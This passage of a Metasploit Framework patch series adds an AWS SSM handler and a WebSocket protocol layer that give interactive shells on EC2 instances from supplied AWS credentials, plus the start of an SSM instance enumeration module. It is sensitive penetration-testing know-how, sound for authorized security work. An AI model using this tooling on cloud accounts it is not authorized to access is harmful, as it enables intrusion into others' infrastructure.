consumers such as custom payloads and session types like fully interactive (vs REPL) modalities, or some form of "cloud-native" MeterSSM. Testing: Verified acquisition of SSM WS frame and relevant field ops Next Steps: Create WS loop to abstract shell communications Wrap in Rex*Abstraction bowties for the session handler Test -> ? -> Profit --- lib/msf/core/handler/bind_aws_ssm.rb | 57 ++++++++++++++++++++++++---- 1 file changed, 49 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index bdd7b8db6ba80..aa32cb0ccb402 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -31,6 +31,7 @@ def initialize(framework, ssmclient, peer_info) @peer_info = peer_info @ssmclient = ssmclient @cursor = nil + @cmd_doc = peer_info['CommandDocument'].blank? ? 'AWS-RunShellScript' : peer_info['CommandDocument'] initialize_abstraction @@ -92,7 +93,7 @@ def ssm_read(length = nil, opts = {}) def write(buf, opts = {}) resp = @ssmclient.send_command( - document_name: 'AWS-RunShellScript', + document_name: @cmd_doc, instance_ids: [@peer_info['InstanceId']], parameters: { commands: [buf] } ) @@ -155,6 +156,12 @@ def initialize(info = {}) OptString.new('AWS_ROLE_SID', [false, 'AWS assumed role session ID', nil]), ], Msf::Handler::BindAwsSsm) + register_advanced_options( + [ + OptString.new('AWS_SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), + OptString.new('AWS_SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), + ], Msf::Handler::BindAwsSsm) + self.bind_thread = nil self.conn_thread = nil end @@ -244,8 +251,13 @@ def start_handler self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin - chan = ssm_ws_session(client_copy) + session_init = ssm_client.start_session({ + target: datastore['AWS_EC2_ID'], + document_name: datastore['AWS_SSM_SESSION_DOC'] + }) + chan = ssm_ws_session(session_init) rescue Rex::Proto::Http::WebSocket::ConnectionError + info_copy['CommandDocument'] = datastore['AWS_SSM_COMMAND_DOC'] chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) rescue => e elog('Exception raised from BindAwsSsm.handle_connection', error: e) @@ -333,13 +345,9 @@ def get_ssm_session # # Initiates a WebSocket session based on the params of SSM::Client#start_session # - def ssm_ws_session(ssm_client, doc_name = 'SSM-SessionManagerRunShell', timeout = 20) + def ssm_ws_session(session_init, timeout = 20) # hack-up a "graceful fail-down" in the caller raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions still need structs/parsing') - session_init = ssm_client.start_session({ - target: datastore['AWS_EC2_ID'], - document_name: doc_name - }) ws_key = session_init.token_value ssm_id = session_init.session_id ws_url = URI.parse(session_init.stream_url) @@ -388,7 +396,7 @@ def ssm_ws_session(ssm_client, doc_name = 'SSM-SessionManagerRunShell', timeout }) socket.put_wstext(ssm_wsock_init) # establish shell channel - socket + socket.extend(AwsSssmWebSocket) end protected @@ -401,6 +409,39 @@ module AwsSsmSessionChannelExt attr_accessor :peerinfo end + module AwsSssmWebSocket + # TODO: Move this, and WS session acquisition method to Rex::Proto + class SsmFrame < BinData::Record + endian :big + + struct :header do + endian :big + + uint32 :header_length + string :message_type, length: 32 + uint32 :schema_version, default_value: 1 + uint64 :created_date + uint64 :sequence_number + uint64 :flags, default_value: 1 + string :message_id, length: 16 + end + + string :payload_digest, length: 32, default_value: lambda { Digest::SHA256.digest(payload_data) } + uint32 :payload_type, default_value: 1 + uint32 :payload_length, value: lambda { payload_data.length } + string :payload_data, read_length: -> { payload_length } + virtual :valid_payload, assert: lambda { Digest::SHA256.digest(payload_data) == payload_digest } + + def uuid + ::Rex::Proto::DCERPC::UUID.uuid_unpack(message_id) + end + + def uuid=(value) + header.message_id = ::Rex::Proto::DCERPC::UUID.uuid_pack(message_id) + end + end + end + end end end \ No newline at end of file From 43d746c4044608891fbf1637bb25d682b21899cc Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Jan 2023 09:34:14 -0500 Subject: [PATCH 007/415] Implement SSM WebSocket Sessions Alter WebSocket::Interface::Channel to accept a mask_write flag to set the Channel behavior for outgoing data (since the on_data_write handler can only deal with the buffer provided, not how the wsframe containing it is written to the "wire"). Set the flag to false for SSM's WebSocket operations. Extract Rex::Proto::Http::WebSocket::AmazonSsm from the handler to permit reuse by other framework elements. Implement SSM-specific UUID handling. Create sane SsmFrame constructor to permit convenient operations. Implement Http::WebSocket::AmazonSsm::Inteface::SsmChannel from Http::WebSocket::Inferface::Channel with message-type handling and output processing. Acknowledge incoming messages, process incoming acknowledgements, increment sequence IDs appropriately, and handle basic logging. This new session type removes the 2500 char output restriction and stateless peer cwd. Testing: Execution of handler now provides stateful interactive shells Next steps: More testing, preferably by other people with upstream framework. Peerinfo and presentation updates for the session channel Misc cleanup Future work: Implement new SSM session type with support for multi-console, port-forwarding/socket routing, and custom SSM documents. Implement FSM handlers for session suspension and resumption in Http::WebSocket::AmazonSsm::Interface::SsmChannel --- lib/msf/core/handler/bind_aws_ssm.rb | 95 +------ lib/rex/proto/http/web_socket.rb | 9 +- lib/rex/proto/http/web_socket/amazon_ssm.rb | 269 ++++++++++++++++++++ 3 files changed, 279 insertions(+), 94 deletions(-) create mode 100644 lib/rex/proto/http/web_socket/amazon_ssm.rb diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index aa32cb0ccb402..a9335586c5655 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -12,6 +12,7 @@ module Handler # ### module BindAwsSsm + include Rex::Proto::Http::WebSocket::AmazonSsm include Msf::Handler ### # @@ -251,11 +252,12 @@ def start_handler self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin - session_init = ssm_client.start_session({ + session_init = client_copy.start_session({ target: datastore['AWS_EC2_ID'], document_name: datastore['AWS_SSM_SESSION_DOC'] }) - chan = ssm_ws_session(session_init) + ssm_sock = connect_ssm_ws(session_init) + chan = ssm_sock.to_ssm_channel rescue Rex::Proto::Http::WebSocket::ConnectionError info_copy['CommandDocument'] = datastore['AWS_SSM_COMMAND_DOC'] chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) @@ -342,62 +344,6 @@ def get_ssm_session return [client, peer_info] end - # - # Initiates a WebSocket session based on the params of SSM::Client#start_session - # - def ssm_ws_session(session_init, timeout = 20) - # hack-up a "graceful fail-down" in the caller - raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions still need structs/parsing') - ws_key = session_init.token_value - ssm_id = session_init.session_id - ws_url = URI.parse(session_init.stream_url) - opts = {} - opts['vhost'] = ws_url.host - opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/,'') - opts['headers'] = { - 'Connection' => 'Upgrade', - 'Upgrade' => 'WebSocket', - 'Sec-WebSocket-Version' => 13, - 'Sec-WebSocket-Key' => ws_key - } - - http_client = Rex::Proto::Http::Client.new( - ws_url.host, - 443, - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - true - ) - raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil? - - req = http_client.request_raw(opts) - res = http_client.send_recv(req, timeout) - unless res&.code == 101 - disconnect - raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) - end - - # see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept - accept_ws_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) - unless res.headers['Sec-WebSocket-Accept'] == accept_ws_key - disconnect - raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) - end - - socket = http_client.conn - socket.extend(Rex::Proto::Http::WebSocket::Interface) - # handshake - ssm_wsock_init = JSON.pretty_generate({ - MessageSchemaVersion: '1.0', - RequestId: ::Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16)), - TokenValue: ws_key, - }) - socket.put_wstext(ssm_wsock_init) - # establish shell channel - socket.extend(AwsSssmWebSocket) - end protected attr_accessor :bind_thread # :nodoc: @@ -409,39 +355,6 @@ module AwsSsmSessionChannelExt attr_accessor :peerinfo end - module AwsSssmWebSocket - # TODO: Move this, and WS session acquisition method to Rex::Proto - class SsmFrame < BinData::Record - endian :big - - struct :header do - endian :big - - uint32 :header_length - string :message_type, length: 32 - uint32 :schema_version, default_value: 1 - uint64 :created_date - uint64 :sequence_number - uint64 :flags, default_value: 1 - string :message_id, length: 16 - end - - string :payload_digest, length: 32, default_value: lambda { Digest::SHA256.digest(payload_data) } - uint32 :payload_type, default_value: 1 - uint32 :payload_length, value: lambda { payload_data.length } - string :payload_data, read_length: -> { payload_length } - virtual :valid_payload, assert: lambda { Digest::SHA256.digest(payload_data) == payload_digest } - - def uuid - ::Rex::Proto::DCERPC::UUID.uuid_unpack(message_id) - end - - def uuid=(value) - header.message_id = ::Rex::Proto::DCERPC::UUID.uuid_pack(message_id) - end - end - end - end end end \ No newline at end of file diff --git a/lib/rex/proto/http/web_socket.rb b/lib/rex/proto/http/web_socket.rb index aff02ec8211e3..bf0a3b72cbe7a 100644 --- a/lib/rex/proto/http/web_socket.rb +++ b/lib/rex/proto/http/web_socket.rb @@ -37,12 +37,14 @@ def type? # @!attribute [r] params # @return [Rex::Socket::Parameters] attr_reader :params + # Boolean flag to control frame masking on output + attr_accessor :mask_write # @param [WebSocket::Interface] websocket the WebSocket that this channel is being opened on # @param [nil, Symbol] read_type the data type(s) to read from the WebSocket, one of :binary, :text or nil (for both # binary and text) # @param [Symbol] write_type the data type to write to the WebSocket - def initialize(websocket, read_type: nil, write_type: :binary) + def initialize(websocket, read_type: nil, write_type: :binary, mask_write: true) initialize_abstraction # a read type of nil will handle both binary and text frames that are received @@ -52,6 +54,7 @@ def initialize(websocket, read_type: nil, write_type: :binary) @websocket = websocket @read_type = read_type @write_type = write_type + @mask_write = mask_write @mutex = Mutex.new # beware of: https://github.com/rapid7/rex-socket/issues/32 @@ -130,9 +133,9 @@ def write(buf, length = nil) length = buf.length buf = on_data_write(buf) if @write_type == :binary - @websocket.put_wsbinary(buf) + @websocket.put_wsbinary(buf, {mask: @mask_write}) elsif @write_type == :text - @websocket.put_wstext(buf) + @websocket.put_wstext(buf, {mask: @mask_write}) end length diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb new file mode 100644 index 0000000000000..44b75b6983c2c --- /dev/null +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -0,0 +1,269 @@ +# -*- coding: binary -*- + +require 'bindata' + +module Rex::Proto::Http::WebSocket::AmazonSsm + module Interface + class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel + attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num + + def initialize(websocket) + @ack_seq_num = 0 + @out_seq_num = 0 + @run_ssm_pub = true + @ack_outputs = Set.new + + super(websocket, write_type: :binary, mask_write: false) + end + + def acknowledge_output(output_frame) + ack = output_frame.to_ack + # ack.header.sequence_number = @out_seq_num + @websocket.put_wsbinary(ack.to_binary_s, {mask: false}) + # wlog("SsmChannel: acknowledge output #{output_frame.uuid}") + output_frame.uuid + end + + def handle_output_data(output_frame) + if @ack_outputs.include?(output_frame.uuid) + # wlog("SsmChannel: repeat output #{output_frame.uuid}") + else + @ack_outputs << acknowledge_output(output_frame) + # TODO: handle Payload::* types + if [PayloadType::Output, PayloadType::Error].any? {|e| e == output_frame.payload_type } + return output_frame.payload_data + else + wlog("SsmChannel got unhandled output payload type: #{Payload.front_val(output_frame.payload_type)}") + end + end + nil + end + + def handle_acknowledge(ack_frame) + # wlog("SsmChannel: got acknowledge message #{ack_frame.uuid}") + begin + seq_num = JSON.parse(ack_frame.payload_data)['AcknowledgedMessageSequenceNumber'].to_i + @ack_seq_num = seq_num if seq_num > @ack_seq_num + rescue => e + elog("SsmChannel failed to parse ack JSON #{ack_frame.payload_data} due to #{e}!") + end + nil + end + + def on_data_read(data, _data_type) + return data if data.blank? + ssm_frame = SsmFrame.read(data) + case ssm_frame.header.message_type.strip + when 'output_stream_data' + return handle_output_data(ssm_frame) + when 'acknowledge' + # update ACK seqno + handle_acknowledge(ssm_frame) + when 'start_publication' + # handle session resumption + when 'pause_publication' + # handle session suspension + when 'input_stream_data' + # this is supposed to be a one way street + when 'channel_closed' + elog("SsmChannel got closed message #{ssm_frame.uuid}") + close + else + raise Rex::Proto::Http::WebSocket::ConnectionError.new( + msg: 'Unknown SSM message type', message_type: ssm_frame.header.message_type + ) + end + nil + end + + def on_data_write(data) + frame = SsmFrame.create(data) + frame.header.sequence_number = @out_seq_num + @out_seq_num += 1 + frame.to_binary_s + end + end + + def to_ssm_channel + SsmChannel.new(self) + end + end + module PayloadType + Output = 1 + Error = 2 + Size = 3 + Parameter = 4 + HandshakeRequest = 5 + HandshakeResponse = 6 + HandshakeComplete = 7 + EncChallengeRequest = 8 + EncChallengeResponse = 9 + Flag = 10 + + def self.from_val(v) + self.constants.find {|c| self.const_get(c) == v } + end + end + + module UUID + def self.unpack(bbuf) + sbuf = "" + [8...12].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [12...14].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [14...16].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [0...2].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [2...8].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf.gsub("\\x",'') + end + + def self.pack(sbuf) + parts = sbuf.split('-').map do |seg| + seg.chars.each_slice(2).map {|e| "\\x#{e.join}"}.join + end + [3, 4, 0, 1, 2].map do |part| + Rex::Text.hex_to_raw(parts[part]) + end.join + end + + def self.rand + self.unpack(Rex::Text.rand_text(16)) + end + end + + class SsmFrame < BinData::Record + endian :big + + struct :header do + endian :big + + uint32 :header_length, initial_value: 116 + string :message_type, length: 32, pad_byte: 0x20, initial_value: 'input_stream_data' + uint32 :schema_version, initial_value: 1 + uint64 :created_date, default_value: lambda { (Time.now.to_f * 1000).to_i } + uint64 :sequence_number, initial_value: 0 + uint64 :flags, value: 0 #lambda { sequence_number == 0 ? 1 : 0 } + string :message_id, length: 16, initial_value: UUID.pack(UUID.rand) + end + + string :payload_digest, length: 32, default_value: lambda { Digest::SHA256.digest(payload_data) } + uint32 :payload_type, default_value: PayloadType::Output + uint32 :payload_length, value: lambda { payload_data.length } + string :payload_data, read_length: -> { payload_length } + + class << self + def create(data = nil, mtype = 'input_stream_data') + frame = SsmFrame.new( header: { + message_type: mtype, + created_date: (Time.now.to_f * 1000).to_i, + message_id: UUID.pack(UUID.rand) + }) + if !data.nil? + frame.payload_data = data + frame.payload_digest = Digest::SHA256.digest(data) + frame.payload_length = data.length + frame.payload_type = PayloadType::Output + end + frame + end + + def from_ws_frame(wsframe) + SsmFrame.read(wsframe.payload_data) + end + end + + def uuid + UUID.unpack(header.message_id) + end + + def _set_req_fields + if header.message_id == "\x00" * 16 + header.message_id = UUID.pack(UUID.rand) + end + header.header_length = header.to_binary_s.length + 32 + payload_type.to_binary_s.length + payload_digest = Digest::SHA256.digest(payload_data) + payload_length = payload_data.length + end + + def to_ack + data = JSON.pretty_generate({ + AcknowledgedMessageType: header.message_type.strip, + AcknowledgedMessageId: uuid, + AcknowledgedMessageSequenceNumber: header.sequence_number.to_i, + IsSequentialMessage: true + }) + ack = SsmFrame.create(data, 'acknowledge') + ack.header.sequence_number = header.sequence_number + ack.header.flags = header.flags + ack + end + end + # + # Initiates a WebSocket session based on the params of SSM::Client#start_session + # + # @param [Aws::SSM::Types::StartSessionResponse] :session_init Paramters returned by #start_session + # @param [Integer] :timeout + # + # @return [Socket] Socket representing the authenticates SSM WebSocket connection + def connect_ssm_ws(session_init, timeout = 20) + # hack-up a "graceful fail-down" in the caller + # raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'WebSocket sesssions still need structs/parsing') + ws_key = session_init.token_value + ssm_id = session_init.session_id + ws_url = URI.parse(session_init.stream_url) + opts = {} + opts['vhost'] = ws_url.host + opts['uri'] = ws_url.to_s.sub(/^.*#{ws_url.host}/,'') + opts['headers'] = { + 'Connection' => 'Upgrade', + 'Upgrade' => 'WebSocket', + 'Sec-WebSocket-Version' => 13, + 'Sec-WebSocket-Key' => ws_key + } + ctx = { + 'Msf' => framework, + 'MsfExploit' => self, + } + http_client = Rex::Proto::Http::Client.new(ws_url.host, 443, ctx, true) + raise Rex::Proto::Http::WebSocket::ConnectionError.new if http_client.nil? + # Send upgrade request + req = http_client.request_raw(opts) + res = http_client.send_recv(req, timeout) + # Verify upgrade + unless res&.code == 101 + http_client.close + raise Rex::Proto::Http::WebSocket::ConnectionError.new(http_response: res) + end + # see: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Sec-WebSocket-Accept + accept_ws_key = Rex::Text.encode_base64(OpenSSL::Digest::SHA1.digest(ws_key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')) + unless res.headers['Sec-WebSocket-Accept'] == accept_ws_key + http_client.close + raise Rex::Proto::Http::WebSocket::ConnectionError.new(msg: 'Invalid Sec-WebSocket-Accept header', http_response: res) + end + # Extract and extend connection object + socket = http_client.conn + socket.extend(Rex::Proto::Http::WebSocket::Interface) + # Send initialization handshake + ssm_wsock_init = JSON.pretty_generate({ + MessageSchemaVersion: '1.0', + RequestId: UUID.rand, + TokenValue: ws_key, + }) + socket.put_wstext(ssm_wsock_init) + # Extend with interface + socket.extend(Interface) + end +end From 46c030a08b62a14be3508898495debd3ce4f9175 Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Jan 2023 15:10:31 -0500 Subject: [PATCH 008/415] Finalize SSM Shell via WebSocket Implement terminal resizing to WebSocket shell Reorganize code to ease later extension Implement peerinfo in channel context from AWS EC2 SSM information gathered during session validation Implement echo-filtering for session inputs (hacky, but works) Testing: Verified console resizing, color/reset/etc Verified peerinfo and interaction Verified common session operations Notes: SSM WebSocket sessions time out pretty quickly, implementing dedicated SSM session types which support suspend/resume to match backgrounding/foregrounding operations in the console should help to resolve this. Alternatively, a keep-alive using empty frames may be implemented in the SsmChannel itself on a separate thread. --- lib/msf/core/handler/bind_aws_ssm.rb | 12 +- lib/rex/proto/http/web_socket/amazon_ssm.rb | 192 +++++++++++--------- 2 files changed, 122 insertions(+), 82 deletions(-) diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index a9335586c5655..95cd6288a69a7 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -161,10 +161,12 @@ def initialize(info = {}) [ OptString.new('AWS_SSM_SESSION_DOC', [true, 'The SSM document to use for session requests', 'SSM-SessionManagerRunShell']), OptString.new('AWS_SSM_COMMAND_DOC', [true, 'The SSM document to use for command requests', 'AWS-RunShellScript']), + OptBool.new('AWS_SSM_FORCE_COMMANDS', [false, 'Force the session to use command abstraction without WebSockets', false]) ], Msf::Handler::BindAwsSsm) self.bind_thread = nil self.conn_thread = nil + self.bind_sock = nil end # @@ -209,7 +211,7 @@ def start_handler # Start a new handling thread self.bind_thread = framework.threads.spawn("BindAwsSsmHandler-#{datastore['AWS_EC2_ID']}", false) { - client = nil + ssm_client = nil print_status("Started #{human_name} handler against #{datastore['AWS_EC2_ID']}:#{datastore['AWS_REGION']}") @@ -252,18 +254,25 @@ def start_handler self.conn_thread = framework.threads.spawn("BindAwsSsmHandlerSession", false, ssm_client, peer_info) { |client_copy, info_copy| begin + raise Rex::Proto::Http::WebSocket::ConnectionError if datastore['AWS_SSM_FORCE_COMMANDS'] session_init = client_copy.start_session({ target: datastore['AWS_EC2_ID'], document_name: datastore['AWS_SSM_SESSION_DOC'] }) ssm_sock = connect_ssm_ws(session_init) chan = ssm_sock.to_ssm_channel + chan.params.comm = Rex::Socket::Comm::Local unless chan.params.comm + chan.params.peerhost = peer_info['IpAddress'] + chan.params.peerport = 0 + chan.params.peerhostname = peer_info['ComputerName'] + chan.update_term_size rescue Rex::Proto::Http::WebSocket::ConnectionError info_copy['CommandDocument'] = datastore['AWS_SSM_COMMAND_DOC'] chan = AwsSsmSessionChannel.new(framework, client_copy, info_copy) rescue => e elog('Exception raised from BindAwsSsm.handle_connection', error: e) end + self.bind_sock = chan handle_connection(chan.lsock, { datastore: datastore }) } else @@ -348,6 +357,7 @@ def get_ssm_session attr_accessor :bind_thread # :nodoc: attr_accessor :conn_thread # :nodoc: + attr_accessor :bind_sock # :nodoc: module AwsSsmSessionChannelExt diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 44b75b6983c2c..4f375d4465fcd 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -3,18 +3,65 @@ require 'bindata' module Rex::Proto::Http::WebSocket::AmazonSsm - module Interface - class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel - attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num + module PayloadType + Output = 1 + Error = 2 + Size = 3 + Parameter = 4 + HandshakeRequest = 5 + HandshakeResponse = 6 + HandshakeComplete = 7 + EncChallengeRequest = 8 + EncChallengeResponse = 9 + Flag = 10 - def initialize(websocket) - @ack_seq_num = 0 - @out_seq_num = 0 - @run_ssm_pub = true - @ack_outputs = Set.new + def self.from_val(v) + self.constants.find {|c| self.const_get(c) == v } + end + end - super(websocket, write_type: :binary, mask_write: false) + module UUID + def self.unpack(bbuf) + sbuf = "" + [8...12].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [12...14].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [14...16].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [0...2].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) + end + sbuf << '-' + [2...8].each do |idx| + sbuf << Rex::Text.to_hex(bbuf[idx]) end + sbuf.gsub("\\x",'') + end + + def self.pack(sbuf) + parts = sbuf.split('-').map do |seg| + seg.chars.each_slice(2).map {|e| "\\x#{e.join}"}.join + end + [3, 4, 0, 1, 2].map do |part| + Rex::Text.hex_to_raw(parts[part]) + end.join + end + + def self.rand + self.unpack(Rex::Text.rand_text(16)) + end + end + module Interface + module SsmChannelMethods + attr_accessor :rows + attr_accessor :cols def acknowledge_output(output_frame) ack = output_frame.to_ack @@ -31,7 +78,13 @@ def handle_output_data(output_frame) @ack_outputs << acknowledge_output(output_frame) # TODO: handle Payload::* types if [PayloadType::Output, PayloadType::Error].any? {|e| e == output_frame.payload_type } - return output_frame.payload_data + if @filter_echo.is_a?(String) and output_frame.payload_data.strip == @filter_echo.strip + wlog("SsmChannel: filtering output #{@filter_echo}") + @filter_echo = true + return nil + else + return output_frame.payload_data + end else wlog("SsmChannel got unhandled output payload type: #{Payload.front_val(output_frame.payload_type)}") end @@ -50,6 +103,38 @@ def handle_acknowledge(ack_frame) nil end + def update_term_size + rows, cols = ::IO.console.winsize + unless rows == self.rows && cols == self.cols + set_term_size(rows, cols) + self.rows = rows + self.cols = cols + end + end + + def set_term_size(cols, rows) + data = JSON.generate({cols: cols, rows: rows}) + frame = SsmFrame.create(data) + frame.payload_type = PayloadType::Size + write(frame) + end + end + + class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel + include SsmChannelMethods + attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num + attr_accessor :filter_echo + + def initialize(websocket, filter_echo = false) + @ack_seq_num = 0 + @out_seq_num = 0 + @run_ssm_pub = true + @ack_outputs = Set.new + @filter_echo = filter_echo + + super(websocket, write_type: :binary, mask_write: false) + end + def on_data_read(data, _data_type) return data if data.blank? ssm_frame = SsmFrame.read(data) @@ -60,11 +145,14 @@ def on_data_read(data, _data_type) # update ACK seqno handle_acknowledge(ssm_frame) when 'start_publication' - # handle session resumption + # handle session resumption - foregrounding or resumption of input when 'pause_publication' - # handle session suspension + # handle session suspension - backgrounding or general idle when 'input_stream_data' # this is supposed to be a one way street + emsg = "SsmChannel received input_stream_data from SSM (!!)" + elog(emsg) + raise emsg when 'channel_closed' elog("SsmChannel got closed message #{ssm_frame.uuid}") close @@ -77,6 +165,7 @@ def on_data_read(data, _data_type) end def on_data_write(data) + @filter_echo = data if @filter_echo and data.is_a?(String) frame = SsmFrame.create(data) frame.header.sequence_number = @out_seq_num @out_seq_num += 1 @@ -84,63 +173,8 @@ def on_data_write(data) end end - def to_ssm_channel - SsmChannel.new(self) - end - end - module PayloadType - Output = 1 - Error = 2 - Size = 3 - Parameter = 4 - HandshakeRequest = 5 - HandshakeResponse = 6 - HandshakeComplete = 7 - EncChallengeRequest = 8 - EncChallengeResponse = 9 - Flag = 10 - - def self.from_val(v) - self.constants.find {|c| self.const_get(c) == v } - end - end - - module UUID - def self.unpack(bbuf) - sbuf = "" - [8...12].each do |idx| - sbuf << Rex::Text.to_hex(bbuf[idx]) - end - sbuf << '-' - [12...14].each do |idx| - sbuf << Rex::Text.to_hex(bbuf[idx]) - end - sbuf << '-' - [14...16].each do |idx| - sbuf << Rex::Text.to_hex(bbuf[idx]) - end - sbuf << '-' - [0...2].each do |idx| - sbuf << Rex::Text.to_hex(bbuf[idx]) - end - sbuf << '-' - [2...8].each do |idx| - sbuf << Rex::Text.to_hex(bbuf[idx]) - end - sbuf.gsub("\\x",'') - end - - def self.pack(sbuf) - parts = sbuf.split('-').map do |seg| - seg.chars.each_slice(2).map {|e| "\\x#{e.join}"}.join - end - [3, 4, 0, 1, 2].map do |part| - Rex::Text.hex_to_raw(parts[part]) - end.join - end - - def self.rand - self.unpack(Rex::Text.rand_text(16)) + def to_ssm_channel(filter_echo = true) + SsmChannel.new(self, filter_echo) end end @@ -166,6 +200,7 @@ class SsmFrame < BinData::Record class << self def create(data = nil, mtype = 'input_stream_data') + return data if data.is_a?(SsmFrame) frame = SsmFrame.new( header: { message_type: mtype, created_date: (Time.now.to_f * 1000).to_i, @@ -189,17 +224,8 @@ def uuid UUID.unpack(header.message_id) end - def _set_req_fields - if header.message_id == "\x00" * 16 - header.message_id = UUID.pack(UUID.rand) - end - header.header_length = header.to_binary_s.length + 32 + payload_type.to_binary_s.length - payload_digest = Digest::SHA256.digest(payload_data) - payload_length = payload_data.length - end - def to_ack - data = JSON.pretty_generate({ + data = JSON.generate({ AcknowledgedMessageType: header.message_type.strip, AcknowledgedMessageId: uuid, AcknowledgedMessageSequenceNumber: header.sequence_number.to_i, @@ -210,6 +236,10 @@ def to_ack ack.header.flags = header.flags ack end + + def length + to_binary_s.length + end end # # Initiates a WebSocket session based on the params of SSM::Client#start_session @@ -257,7 +287,7 @@ def connect_ssm_ws(session_init, timeout = 20) socket = http_client.conn socket.extend(Rex::Proto::Http::WebSocket::Interface) # Send initialization handshake - ssm_wsock_init = JSON.pretty_generate({ + ssm_wsock_init = JSON.generate({ MessageSchemaVersion: '1.0', RequestId: UUID.rand, TokenValue: ws_key, @@ -266,4 +296,4 @@ def connect_ssm_ws(session_init, timeout = 20) # Extend with interface socket.extend(Interface) end -end +end \ No newline at end of file From 7666b30b82f4ee32a136477064383d9e7f8bd3ec Mon Sep 17 00:00:00 2001 From: RageLtMan Date: Tue, 3 Jan 2023 17:04:37 -0500 Subject: [PATCH 009/415] Rudimentary enumeration module for EC2+SSM Coopt Aaron Soto's EC2 enum module & replace the guts with an SSM query for not-terminated EC2 instances with SSM capability. This will proide users with the instance IDs needed to test their SSM shells and can be expanded to report information or even act as a "brute-force" module which automatically starts SSM sessions. Testing: None - might eat your monitor lizard --- modules/auxiliary/cloud/aws/enum_ssm.rb | 98 +++++++++++++++++++++++++ 1 file changed, 98 insertions(+) create mode 100644 modules/auxiliary/cloud/aws/enum_ssm.rb diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb new file mode 100644 index 0000000000000..d73f8e74c5690 --- /dev/null +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -0,0 +1,98 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'aws-sdk-ssm' + +class MetasploitModule < Msf::Auxiliary + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Amazon Web Services EC2 instance enumeration', + 'Description' => %q( + Provided AWS credentials, this module will call the authenticated + API of Amazon Web Services to list all SSM-enabled EC2 instances + associated with the account + ), + 'Author' => [ + 'Aaron Soto ' # EC2 enum module + 'RageLtMan ' # SSM stuff + ], + 'Author' => ['Aaron Soto '], + 'License' => MSF_LICENSE + ) + ) + + register_options( + [ + OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']), + OptString.new('REGION', [false, 'AWS Region (eg. "us-west-2")']), + OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']), + OptString.new('SECRET_ACCESS_KEY', [true, 'AWS Secret Access Key (eg. "CA1+XXXXXXXXXXXXXXXXXXXXXX6aYDHHCBuLuV79")', '']) + ] + ) + end + + def handle_aws_errors(e) + if e.class.module_parents.include?(Aws) + 